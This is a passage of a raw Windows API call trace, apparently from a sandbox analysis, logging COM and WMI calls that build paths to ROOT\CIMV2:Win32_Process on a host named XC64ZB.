riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.149] WbemDefPath:IUnknown:Release (This=0x1b482930) returned 0x3 [0128.149] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0128.149] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0128.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0128.149] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x2 [0128.149] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x1 [0128.149] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0128.149] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0128.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4afbe0) returned 0x0 [0128.149] WbemDefPath:IUnknown:AddRef (This=0x1b4afbe0) returned 0x3 [0128.150] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x2 [0128.150] WbemDefPath:IWbemPath:SetText (This=0x1b4afbe0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0128.150] IWbemClassObject:Get (in: This=0x1b4d8da0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0128.150] SysStringByteLen (bstr="XC64ZB") returned 0xc [0128.150] SysStringByteLen (bstr="XC64ZB") returned 0xc [0128.150] IWbemClassObject:Get (in: This=0x1b4d8da0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0128.150] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0128.150] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0128.150] IWbemClassObject:Get (in: This=0x1b4d8da0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0128.150] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0128.150] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0128.150] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0128.150] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0128.150] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0128.150] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.151] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b482810) returned 0x0 [0128.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482810, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0128.151] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482810, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0120) returned 0x0 [0128.151] WbemDefPath:IUnknown:Release (This=0x1b482810) returned 0x0 [0128.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0120) returned 0x0 [0128.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0128.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0128.152] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0128.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0128.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0128.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b482790) returned 0x0 [0128.152] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482790, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.152] WbemDefPath:IUnknown:Release (This=0x1b482790) returned 0x3 [0128.152] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0128.152] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0128.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0128.152] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0128.152] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0128.152] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0128.152] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0120) returned 0x0 [0128.152] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0128.152] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x2 [0128.152] WbemDefPath:IWbemPath:SetText (This=0x1b4b0120, uMode=0x4, pszPath="") returned 0x0 [0128.152] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0128.152] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0128.152] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0128.153] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.153] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b482390) returned 0x0 [0128.153] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482390, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0128.153] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482390, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0960) returned 0x0 [0128.153] WbemDefPath:IUnknown:Release (This=0x1b482390) returned 0x0 [0128.153] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0960) returned 0x0 [0128.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0128.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0128.154] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0128.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0128.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0128.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b482530) returned 0x0 [0128.154] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482530, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.154] WbemDefPath:IUnknown:Release (This=0x1b482530) returned 0x3 [0128.154] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0128.154] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0128.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0128.154] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0128.154] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0128.154] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0128.154] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0960) returned 0x0 [0128.154] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0128.154] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0128.154] WbemDefPath:IWbemPath:SetText (This=0x1b4b0960, uMode=0x4, pszPath="") returned 0x0 [0128.154] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0128.155] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0120, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0128.155] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0960, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0128.155] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0960, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0128.155] WbemDefPath:IWbemPath:SetServer (This=0x1b4b0960, Name="XC64ZB") returned 0x0 [0128.155] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0128.155] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0128.155] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0128.155] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.155] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4827f0) returned 0x0 [0128.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4827f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0128.156] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4827f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aec20) returned 0x0 [0128.156] WbemDefPath:IUnknown:Release (This=0x1b4827f0) returned 0x0 [0128.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aec20) returned 0x0 [0128.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0128.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0128.156] WbemDefPath:IUnknown:AddRef (This=0x1b4aec20) returned 0x3 [0128.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0128.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0128.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b482450) returned 0x0 [0128.156] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482450, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.156] WbemDefPath:IUnknown:Release (This=0x1b482450) returned 0x3 [0128.156] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0128.156] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0128.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0128.156] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x2 [0128.156] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x1 [0128.156] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0128.156] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aec20) returned 0x0 [0128.157] WbemDefPath:IUnknown:AddRef (This=0x1b4aec20) returned 0x3 [0128.157] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x2 [0128.157] WbemDefPath:IWbemPath:SetText (This=0x1b4aec20, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0128.157] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b0960) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aec20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aec20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0128.157] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0960, uIndex=0x0, pszName="ROOT") returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aec20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aec20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0128.157] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0960, uIndex=0x1, 